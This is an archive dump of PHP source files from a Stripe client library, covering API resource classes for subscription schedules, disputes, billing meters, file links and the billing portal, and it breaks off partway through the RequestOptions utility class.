Unix epoch. * @property null|\Stripe\StripeObject $current_phase Object representing the start and end dates for the current phase of the subscription schedule, if it is <code>active</code>. * @property string|\Stripe\Customer $customer ID of the customer who owns the subscription schedule. * @property \Stripe\StripeObject $default_settings * @property string $end_behavior Behavior of the subscription schedule and underlying subscription when it ends. Possible values are <code>release</code> or <code>cancel</code> with the default being <code>release</code>. <code>release</code> will end the subscription schedule and keep the underlying subscription running. <code>cancel</code> will end the subscription schedule and cancel the underlying subscription. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property \Stripe\StripeObject[] $phases Configuration for the subscription schedule's phases. * @property null|int $released_at Time at which the subscription schedule was released. Measured in seconds since the Unix epoch. * @property null|string $released_subscription ID of the subscription once managed by the subscription schedule (if it is released). * @property string $status The present status of the subscription schedule. Possible values are <code>not_started</code>, <code>active</code>, <code>completed</code>, <code>released</code>, and <code>canceled</code>. You can read more about the different states in our <a href="https://stripe.com/docs/billing/subscriptions/subscription-schedules">behavior guide</a>. * @property null|string|\Stripe\Subscription $subscription ID of the subscription managed by the subscription schedule. * @property null|string|\Stripe\TestHelpers\TestClock $test_clock ID of the test clock this subscription schedule belongs to. */ class SubscriptionSchedule extends ApiResource { const OBJECT_NAME = 'subscription_schedule'; use ApiOperations\Update; const END_BEHAVIOR_CANCEL = 'cancel'; const END_BEHAVIOR_NONE = 'none'; const END_BEHAVIOR_RELEASE = 'release'; const END_BEHAVIOR_RENEW = 'renew'; const STATUS_ACTIVE = 'active'; const STATUS_CANCELED = 'canceled'; const STATUS_COMPLETED = 'completed'; const STATUS_NOT_STARTED = 'not_started'; const STATUS_RELEASED = 'released'; /** * Creates a new subscription schedule object. Each customer can have up to 500 * active or scheduled subscriptions. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionSchedule the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Retrieves the list of your subscription schedules. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\SubscriptionSchedule> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an existing subscription schedule. You only need to * supply the unique subscription schedule identifier that was returned upon * subscription schedule creation. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionSchedule */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates an existing subscription schedule. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionSchedule the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionSchedule the canceled subscription schedule */ public function cancel($params = null, $opts = null) { $url = $this->instanceUrl() . '/cancel'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionSchedule the released subscription schedule */ public function release($params = null, $opts = null) { $url = $this->instanceUrl() . '/release'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Dispute.php����������������������������������������������������������������������0000644�����������������00000016257�14720677707�0012441 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A dispute occurs when a customer questions your charge with their card issuer. * When this happens, you have the opportunity to respond to the dispute with * evidence that shows that the charge is legitimate. * * Related guide: <a href="https://stripe.com/docs/disputes">Disputes and fraud</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Disputed amount. Usually the amount of the charge, but it can differ (usually because of currency fluctuation or because only part of the order is disputed). * @property \Stripe\BalanceTransaction[] $balance_transactions List of zero, one, or two balance transactions that show funds withdrawn and reinstated to your Stripe account as a result of this dispute. * @property string|\Stripe\Charge $charge ID of the charge that's disputed. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property \Stripe\StripeObject $evidence * @property \Stripe\StripeObject $evidence_details * @property bool $is_charge_refundable If true, it's still possible to refund the disputed payment. After the payment has been fully refunded, no further funds are withdrawn from your Stripe account as a result of this dispute. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string $network_reason_code Network-dependent reason code for the dispute. * @property null|string|\Stripe\PaymentIntent $payment_intent ID of the PaymentIntent that's disputed. * @property null|\Stripe\StripeObject $payment_method_details * @property string $reason Reason given by cardholder for dispute. Possible values are <code>bank_cannot_process</code>, <code>check_returned</code>, <code>credit_not_processed</code>, <code>customer_initiated</code>, <code>debit_not_authorized</code>, <code>duplicate</code>, <code>fraudulent</code>, <code>general</code>, <code>incorrect_account_details</code>, <code>insufficient_funds</code>, <code>product_not_received</code>, <code>product_unacceptable</code>, <code>subscription_canceled</code>, or <code>unrecognized</code>. Learn more about <a href="https://stripe.com/docs/disputes/categories">dispute reasons</a>. * @property string $status Current status of dispute. Possible values are <code>warning_needs_response</code>, <code>warning_under_review</code>, <code>warning_closed</code>, <code>needs_response</code>, <code>under_review</code>, <code>won</code>, or <code>lost</code>. */ class Dispute extends ApiResource { const OBJECT_NAME = 'dispute'; use ApiOperations\Update; const REASON_BANK_CANNOT_PROCESS = 'bank_cannot_process'; const REASON_CHECK_RETURNED = 'check_returned'; const REASON_CREDIT_NOT_PROCESSED = 'credit_not_processed'; const REASON_CUSTOMER_INITIATED = 'customer_initiated'; const REASON_DEBIT_NOT_AUTHORIZED = 'debit_not_authorized'; const REASON_DUPLICATE = 'duplicate'; const REASON_FRAUDULENT = 'fraudulent'; const REASON_GENERAL = 'general'; const REASON_INCORRECT_ACCOUNT_DETAILS = 'incorrect_account_details'; const REASON_INSUFFICIENT_FUNDS = 'insufficient_funds'; const REASON_PRODUCT_NOT_RECEIVED = 'product_not_received'; const REASON_PRODUCT_UNACCEPTABLE = 'product_unacceptable'; const REASON_SUBSCRIPTION_CANCELED = 'subscription_canceled'; const REASON_UNRECOGNIZED = 'unrecognized'; const STATUS_LOST = 'lost'; const STATUS_NEEDS_RESPONSE = 'needs_response'; const STATUS_UNDER_REVIEW = 'under_review'; const STATUS_WARNING_CLOSED = 'warning_closed'; const STATUS_WARNING_NEEDS_RESPONSE = 'warning_needs_response'; const STATUS_WARNING_UNDER_REVIEW = 'warning_under_review'; const STATUS_WON = 'won'; /** * Returns a list of your disputes. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Dispute> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the dispute with the given ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Dispute */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * When you get a dispute, contacting your customer is always the best first step. * If that doesn’t work, you can submit evidence to help us resolve the dispute in * your favor. You can do this in your <a * href="https://dashboard.stripe.com/disputes">dashboard</a>, but if you prefer, * you can use the API to submit evidence programmatically. * * Depending on your dispute type, different evidence fields will give you a better * chance of winning your dispute. To figure out which evidence fields to provide, * see our <a href="/docs/disputes/categories">guide to dispute types</a>. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Dispute the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Dispute the closed dispute */ public function close($params = null, $opts = null) { $url = $this->instanceUrl() . '/close'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Billing/Meter.php����������������������������������������������������������������0000644�����������������00000013471�14720677707�0013453 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Billing; /** * A billing meter is a resource that allows you to track usage of a particular event. For example, you might create a billing meter to track the number of API calls made by a particular user. You can then attach the billing meter to a price and attach the price to a subscription to charge the user for the number of API calls they make. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property \Stripe\StripeObject $customer_mapping * @property \Stripe\StripeObject $default_aggregation * @property string $display_name The meter's name. * @property string $event_name The name of the meter event to record usage for. Corresponds with the <code>event_name</code> field on meter events. * @property null|string $event_time_window The time window to pre-aggregate meter events for, if any. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $status The meter's status. * @property \Stripe\StripeObject $status_transitions * @property int $updated Time at which the object was last updated. Measured in seconds since the Unix epoch. * @property \Stripe\StripeObject $value_settings */ class Meter extends \Stripe\ApiResource { const OBJECT_NAME = 'billing.meter'; use \Stripe\ApiOperations\NestedResource; use \Stripe\ApiOperations\Update; const EVENT_TIME_WINDOW_DAY = 'day'; const EVENT_TIME_WINDOW_HOUR = 'hour'; const STATUS_ACTIVE = 'active'; const STATUS_INACTIVE = 'inactive'; /** * Creates a billing meter. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Billing\Meter the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Retrieve a list of billing meters. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Billing\Meter> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a billing meter given an ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Billing\Meter */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates a billing meter. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Billing\Meter the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Billing\Meter the deactivated meter */ public function deactivate($params = null, $opts = null) { $url = $this->instanceUrl() . '/deactivate'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Billing\Meter the reactivated meter */ public function reactivate($params = null, $opts = null) { $url = $this->instanceUrl() . '/reactivate'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } const PATH_EVENT_SUMMARIES = '/event_summaries'; /** * @param string $id the ID of the meter on which to retrieve the meter event summaries * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Billing\MeterEventSummary> the list of meter event summaries */ public static function allEventSummaries($id, $params = null, $opts = null) { return self::_allNestedResources($id, static::PATH_EVENT_SUMMARIES, $params, $opts); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Billing/MeterEventAdjustment.php�������������������������������������������������0000644�����������������00000003575�14720677707�0016520 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Billing; /** * A billing meter event adjustment is a resource that allows you to cancel a meter event. For example, you might create a billing meter event adjustment to cancel a meter event that was created in error or attached to the wrong customer. * * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $cancel Specifies which event to cancel. * @property string $event_name The name of the meter event. Corresponds with the <code>event_name</code> field on a meter. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $status The meter event adjustment's status. * @property string $type Specifies whether to cancel a single event or a range of events for a time period. Time period cancellation is not supported yet. */ class MeterEventAdjustment extends \Stripe\ApiResource { const OBJECT_NAME = 'billing.meter_event_adjustment'; const STATUS_COMPLETE = 'complete'; const STATUS_PENDING = 'pending'; /** * Creates a billing meter event adjustment. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Billing\MeterEventAdjustment the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } �����������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Billing/MeterEventSummary.php����������������������������������������������������0000644�����������������00000002402�14720677707�0016023 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Billing; /** * A billing meter event summary represents an aggregated view of a customer's billing meter events within a specified timeframe. It indicates how much * usage was accrued by a customer for that period. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property float $aggregated_value Aggregated value of all the events within <code>start_time</code> (inclusive) and <code>end_time</code> (inclusive). The aggregation strategy is defined on meter via <code>default_aggregation</code>. * @property int $end_time End timestamp for this event summary (exclusive). Must be aligned with minute boundaries. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $meter The meter associated with this event summary. * @property int $start_time Start timestamp for this event summary (inclusive). Must be aligned with minute boundaries. */ class MeterEventSummary extends \Stripe\ApiResource { const OBJECT_NAME = 'billing.meter_event_summary'; } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Billing/MeterEvent.php�����������������������������������������������������������0000644�����������������00000004327�14720677707�0014455 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Billing; /** * A billing meter event represents a customer's usage of a product. Meter events are used to bill a customer based on their usage. * Meter events are associated with billing meters, which define the shape of the event's payload and how those events are aggregated for billing. * * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $event_name The name of the meter event. Corresponds with the <code>event_name</code> field on a meter. * @property string $identifier A unique identifier for the event. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $payload The payload of the event. This contains the fields corresponding to a meter's <code>customer_mapping.event_payload_key</code> (default is <code>stripe_customer_id</code>) and <code>value_settings.event_payload_key</code> (default is <code>value</code>). Read more about the <a href="https://stripe.com/docs/billing/subscriptions/usage-based/recording-usage#payload-key-overrides">payload</a>. * @property int $timestamp The timestamp passed in when creating the event. Measured in seconds since the Unix epoch. */ class MeterEvent extends \Stripe\ApiResource { const OBJECT_NAME = 'billing.meter_event'; /** * Creates a billing meter event. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Billing\MeterEvent the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/FileLink.php���������������������������������������������������������������������0000644�����������������00000007455�14720677707�0012521 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * To share the contents of a <code>File</code> object with non-Stripe users, you can * create a <code>FileLink</code>. <code>FileLink</code>s contain a URL that you can use to * retrieve the contents of the file without authentication. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property bool $expired Returns if the link is already expired. * @property null|int $expires_at Time that the link expires. * @property string|\Stripe\File $file The file object this link points to. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string $url The publicly accessible URL to download the file. */ class FileLink extends ApiResource { const OBJECT_NAME = 'file_link'; use ApiOperations\Update; /** * Creates a new file link object. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FileLink the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of file links. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\FileLink> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the file link with the given ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FileLink */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates an existing file link object. Expired links can no longer be updated. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FileLink the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/BillingPortal/Session.php��������������������������������������������������������0000644�����������������00000006677�14720677707�0015216 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\BillingPortal; /** * The Billing customer portal is a Stripe-hosted UI for subscription and * billing management. * * A portal configuration describes the functionality and features that you * want to provide to your customers through the portal. * * A portal session describes the instantiation of the customer portal for * a particular customer. By visiting the session's URL, the customer * can manage their subscriptions and billing details. For security reasons, * sessions are short-lived and will expire if the customer does not visit the URL. * Create sessions on-demand when customers intend to manage their subscriptions * and billing details. * * Related guide: <a href="/customer-management">Customer management</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property string|\Stripe\BillingPortal\Configuration $configuration The configuration used by this session, describing the features available. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $customer The ID of the customer for this session. * @property null|\Stripe\StripeObject $flow Information about a specific flow for the customer to go through. See the <a href="https://stripe.com/docs/customer-management/portal-deep-links">docs</a> to learn more about using customer portal deep links and flows. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|string $locale The IETF language tag of the locale Customer Portal is displayed in. If blank or auto, the customer’s <code>preferred_locales</code> or browser’s locale is used. * @property null|string $on_behalf_of The account for which the session was created on behalf of. When specified, only subscriptions and invoices with this <code>on_behalf_of</code> account appear in the portal. For more information, see the <a href="https://stripe.com/docs/connect/separate-charges-and-transfers#settlement-merchant">docs</a>. Use the <a href="https://stripe.com/docs/api/accounts/object#account_object-settings-branding">Accounts API</a> to modify the <code>on_behalf_of</code> account's branding settings, which the portal displays. * @property null|string $return_url The URL to redirect customers to when they click on the portal's link to return to your website. * @property string $url The short-lived URL of the session that gives customers access to the customer portal. */ class Session extends \Stripe\ApiResource { const OBJECT_NAME = 'billing_portal.session'; /** * Creates a session of the customer portal. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BillingPortal\Session the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } �����������������������������������������������������������������stripe-gateway/lib/BillingPortal/Configuration.php��������������������������������������������������0000644�����������������00000011270�14720677707�0016363 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\BillingPortal; /** * A portal configuration describes the functionality and behavior of a portal session. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property bool $active Whether the configuration is active and can be used to create portal sessions. * @property null|string|\Stripe\Application $application ID of the Connect Application that created the configuration. * @property \Stripe\StripeObject $business_profile * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string $default_return_url The default URL to redirect customers to when they click on the portal's link to return to your website. This can be <a href="https://stripe.com/docs/api/customer_portal/sessions/create#create_portal_session-return_url">overriden</a> when creating the session. * @property \Stripe\StripeObject $features * @property bool $is_default Whether the configuration is the default. If <code>true</code>, this configuration can be managed in the Dashboard and portal sessions will use this configuration unless it is overriden when creating the session. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $login_page * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property int $updated Time at which the object was last updated. Measured in seconds since the Unix epoch. */ class Configuration extends \Stripe\ApiResource { const OBJECT_NAME = 'billing_portal.configuration'; use \Stripe\ApiOperations\Update; /** * Creates a configuration that describes the functionality and behavior of a * PortalSession. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BillingPortal\Configuration the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of configurations that describe the functionality of the customer * portal. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\BillingPortal\Configuration> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a configuration that describes the functionality of the customer * portal. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BillingPortal\Configuration */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates a configuration that describes the functionality of the customer portal. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BillingPortal\Configuration the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/UsageRecordSummary.php�����������������������������������������������������������0000644�����������������00000001454�14720677707�0014576 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string $invoice The invoice in which this usage period has been billed for. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $period * @property string $subscription_item The ID of the subscription item this summary is describing. * @property int $total_usage The total usage within this usage period. */ class UsageRecordSummary extends ApiResource { const OBJECT_NAME = 'usage_record_summary'; } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Util/ApiVersion.php��������������������������������������������������������������0000644�����������������00000000177�14720677707�0014012 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Util; class ApiVersion { const CURRENT = '2024-06-20'; } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Util/RequestOptions.php����������������������������������������������������������0000644�����������������00000013013�14720677707�0014730 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Util; /** * @phpstan-type RequestOptionsArray array{api_key?: string, idempotency_key?: string, stripe_account?: string, stripe_version?: string, api_base?: string } * @psalm-type RequestOptionsArray = array{api_key?: string, idempotency_key?: string, stripe_account?: string, stripe_version?: string, api_base?: string } */ class RequestOptions { /** * @var array<string> a list of headers that should be persisted across requests */ public static $HEADERS_TO_PERSIST = [ 'Stripe-Account', 'Stripe-Version', ]; /** @var array<string, string> */ public $headers; /** @var null|string */ public $apiKey; /** @var null|string */ public $apiBase; /** * @param null|string $key * @param array<string, string> $headers * @param null|string $base */ public function __construct($key = null, $headers = [], $base = null) { $this->apiKey = $key; $this->headers = $headers; $this->apiBase = $base; } /** * @return array<string, string> */ public function __debugInfo() { return [ 'apiKey' => $this->redactedApiKey(), 'headers' => $this->headers, 'apiBase' => $this->apiBase, ]; } /** * Unpacks an options array and merges it into the existing RequestOptions * object. * * @param null|array|RequestOptions|string $options a key => value array * @param bool $strict when true, forbid string form and arbitrary keys in array form * * @return RequestOptions */ public function merge($options, $strict = false) { $other_options = self::parse($options, $strict); if (null === $other_options->apiKey) { $other_options->apiKey = $this->apiKey; } if (null === $other_options->apiBase) { $other_options->apiBase = $this->apiBase; } $other_options->headers = \array_merge($this->headers, $other_options->headers); return $other_options; } /** * Discards all headers that we don't want to persist across requests. */ public function discardNonPersistentHeaders() { foreach ($this->headers as $k => $v) { if (!\in_array($k, self::$HEADERS_TO_PERSIST, true)) { unset($this->headers[$k]); } } } /** * Unpacks an options array into an RequestOptions object. * * @param null|array|RequestOptions|string $options a key => value array * @param bool $strict when true, forbid string form and arbitrary keys in array form * * @throws \Stripe\Exception\InvalidArgumentException 